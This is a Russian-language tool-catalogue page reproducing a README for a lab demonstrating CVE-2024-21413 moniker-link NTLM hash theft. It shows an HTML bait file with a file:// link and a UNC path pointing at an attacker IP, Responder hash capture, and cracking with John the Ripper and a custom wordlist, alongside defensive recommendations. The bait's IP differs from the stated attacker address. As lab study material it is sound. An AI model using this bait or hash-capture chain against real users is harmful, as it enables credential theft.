Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Moniker-Link-Lab-Setup — Лаборатория для тестирования на проникновение, демонстрирующая эксплуатацию moniker link CVE-2024-21413 для кражи учетных данных NTLM, включая выполнение атаки, взлом хэшей и защитные контрмеры. | Kitploit
Инструменты/GitHubGitHub/e-m-e-k-a/moniker-link-lab-setup
Взлом паролейАнализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на ПроникновениеСоциальная инженерияАутентификацияОбучение и ОбразованиеЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHube-m-e-k-a/moniker-link-lab-setup

Moniker-Link-Lab-Setup

Лаборатория для тестирования на проникновение, демонстрирующая эксплуатацию moniker link CVE-2024-21413 для кражи учетных данных NTLM, включая выполнение атаки, взлом хэшей и защитные контрмеры.

Репозиторий
3116 дней назадЕщё не проверено

Часть моего портфолио SOC-аналитика (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)

Настройка лаборатории Moniker Link — CVE-2024-21413

🎯 Обзор проекта

Практическая лаборатория по пентесту, демонстрирующая эксплуатацию moniker link (CVE-2024-21413) для кражи учётных данных NTLM. Этот проект документирует полную цепочку атаки от настройки до компрометации учётных данных, включая реальные проблемы и их решения.

Ключевое достижение: Успешно выполнена атака moniker link как в изолированной лабораторной среде (виртуальная машина Windows 10), так и на реальной системе (ПК с Windows 11), что демонстрирует практические уязвимости безопасности и защитные контрмеры.


🏗️ Архитектура лаборатории

Инфраструктура

Атакующая машина:

  • Платформа: Kali Linux 2024
  • Сеть (Host-Only): 192.168.56.101
  • Сеть (Bridged): 192.168.1.117
  • Основной инструмент: Responder 3.1.6.0

Целевые системы:

  • ВМ Windows 10: 192.168.56.104 (Изолированная тестовая среда)
  • ПК Windows 11: 192.168.1.178 (Проверка в реальных условиях)

Конфигурация сети:

  • Адаптер VirtualBox Host-Only (тестирование ВМ)
  • Адаптер VirtualBox Bridged (тестирование реального ПК)
  • Изолирована от производственных сетей

⚔️ Выполнение атаки

Ход атаки

  1. Развернуть Responder на Kali для прослушивания аутентификации NTLM
  2. Создать вредоносную ссылку с использованием протокола file://, указывающего на IP атакующего
  3. Инициировать аутентификацию через UNC-путь в Проводнике
  4. Перехватить хеш NetNTLMv2, когда жертва попытается подключиться
  5. Взломать пароль с помощью John the Ripper

Простой вектор атаки

HTML-файл (test.html):

<!DOCTYPE html>
<html>
<body>
    <p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>

Метод через Проводник:

  • Пользователь вводит: \\192.168.56.101\test в адресной строке
  • Windows пытается установить соединение SMB
  • Хеш NTLM отправляется автоматически (или запрашиваются учётные данные)
  • Responder перехватывает аутентификацию

🚧 Проблемы и решения

Проблема 1: Блокировка брандмауэром Windows (ПК с Windows 11)

Проблема:

  • Не удавалось пропинговать ПК с Windows 11 с Kali
  • Попытки подключения по SMB завершались неудачей
  • Атака полностью блокировалась

Первопричина:

  • Брандмауэр Windows включён по умолчанию
  • Блокирует входящие подключения SMB с внешних IP-адресов

Решение:

  • Временно отключён брандмауэр Windows для тестирования
  • Подключение сразу же успешно
  • Хеш успешно перехвачен

Вывод: Брандмауэр Windows по умолчанию обеспечивает эффективную защиту от этой атаки. Пользователи должны держать его включённым.


Проблема 2: Кэшированные результаты John the Ripper (ВМ Windows 10)

Проблема:

  • Изначальный пароль Windows 10: nwigwecj1
  • John показал: 12Honey (неверный пароль!)
  • 12Honey был из предыдущего теста

Первопричина:

  • John сохраняет взломанные пароли в ~/.john/john.pot
  • Старый хеш из предыдущего сеанса
  • Показан кэшированный результат вместо текущего пароля

Решение:

  • Изменён пароль ВМ Windows 10 на 1414
  • Перехвачен свежий хеш
  • Создан целевой словарь с вероятными паролями
  • Успешно взломан с новым словарём

Вывод: Всегда проверяйте, что взламываете правильный хеш. Очищайте pot-файл или используйте уникальные пароли для тестирования.


Проблема 3: Пароль отсутствует в Rockyou.txt

Проблема:

  • Пароль 1414 не найден в rockyou.txt (14 миллионов паролей)
  • Атака по общему словарю не удалась

Первопричина:

  • Rockyou.txt не содержит всех возможных 4-значных комбинаций
  • Простые числовые последовательности часто отсутствуют в распространённых словарях

Решение:

  • Создан целевой пользовательский словарь на основе распространённых шаблонов:
  echo "1414" > passwords.txt
  echo "4141" >> passwords.txt
  • Взломан мгновенно с пользовательским словарём

Вывод: «Отсутствует в rockyou.txt» ≠ безопасный. Короткие пароли уязвимы к целевым атакам и брутфорсу независимо от наличия в словаре.


📊 Результаты

ВМ Windows 10 (Контролируемая среда)

МетрикаРезультат
Изначальный парольnwigwecj1
Изменён на1414
СловарьПользовательский (2 записи)
Время взлома<1 секунды
БрандмауэрОтключён для тестирования
Статус✅ Успешно скомпрометирован

ПК с Windows 11 (Реальная система)

МетрикаРезультат
Пароль1414
БрандмауэрИзначально блокировал, затем отключён
АутентификацияРучной запрос (введены учётные данные)
Время взломаМгновенно
Статус✅ Успешно скомпрометирован

🛡️ Анализ безопасности

Что сработало (Защита)

✅ Брандмауэр Windows — полностью блокировал атаку при включении ✅ Современные браузеры — Chrome/Edge блокируют удалённые ссылки file:// ✅ Осведомлённость пользователя — ручной запрос требует действий пользователя

Что не сработало (Уязвимости)

❌ Слабые пароли — 4-символьный числовой пароль легко взламывается ❌ Отключённый брандмауэр — распространённая ошибка пользователей ❌ Проводник — нет предупреждения для UNC-путей ❌ Протокол NTLM — автоматическая аутентификация к ресурсам SMB

Ключевые выводы

1. Брандмауэр критичен

  • Брандмауэр Windows по умолчанию блокирует эту атаку
  • ~30-40% пользователей отключают его навсегда
  • Корпоративные сети часто разрешают внутренний SMB

2. Иллюзия надёжности пароля

  • 1414 отсутствует в rockyou.txt (выглядит «надёжным»)
  • Взломан мгновенно с целевым словарём
  • Короткие пароли не обеспечивают никакой безопасности

3. Требуется взаимодействие с пользователем

  • Современная защита требует от пользователя вставки UNC-пути
  • Социальная инженерия остаётся критическим компонентом
  • Только технической эксплуатации недостаточно

🔧 Использованные инструменты

Наступательные:

  • Responder 3.1.6.0 (перехват хешей NTLM)
  • John the Ripper (взлом паролей)
  • Создание пользовательского словаря
  • Простой HTML-файл

Инфраструктура:

  • VirtualBox 7.0 (виртуализация)
  • Kali Linux 2024 (платформа атаки)
  • Windows 10 Enterprise (тестовая цель)
  • Windows 11 Pro (проверка в реальных условиях)

📁 Структура репозитория

Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│   ├── attack-execution.md (step-by-step attack guide)
│   └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)

🎓 Продемонстрированные навыки

Технические:

  • Анализ сетевых протоколов (SMB, NTLM)
  • Методология пентеста
  • Техники взлома паролей
  • Инфраструктура виртуальной лаборатории
  • Устранение неполадок брандмауэра

Профессиональные:

  • Техническая документация
  • Решение проблем в условиях ограничений
  • Оценка безопасности
  • Анализ рисков
  • Этичные практики тестирования

🔒 Рекомендации по защите

Для пользователей

  • ✅ Держите брандмауэр Windows включённым
  • ✅ Никогда не вставляйте UNC-пути из электронных писем
  • ✅ Используйте надёжные пароли (15+ символов)
  • ✅ Проверяйте отправителя перед доступом к сетевым ресурсам

Для организаций

  • ✅ Блокируйте исходящий SMB (порт 445) на сетевом брандмауэре
  • ✅ Отключите NTLM, внедрите Kerberos
  • ✅ Мониторьте подключения SMB к внешним IP-адресам
  • ✅ Фильтрация на почтовом шлюзе (удаление ссылок file://)
  • ✅ Обучение по безопасности
  • ✅ Политики сложности паролей

⚠️ Этичное раскрытие

Все тесты проводились на авторизованных системах:

  • Только личная лабораторная инфраструктура
  • Изолированные виртуальные сети
  • Собственные устройства и учётные записи
  • Образовательная цель

Правовое уведомление: Неавторизованный доступ к компьютерам незаконен. Этот проект предназначен только для образовательных целей и авторизованных сред тестирования.


📚 Ссылки

Скачать инструмент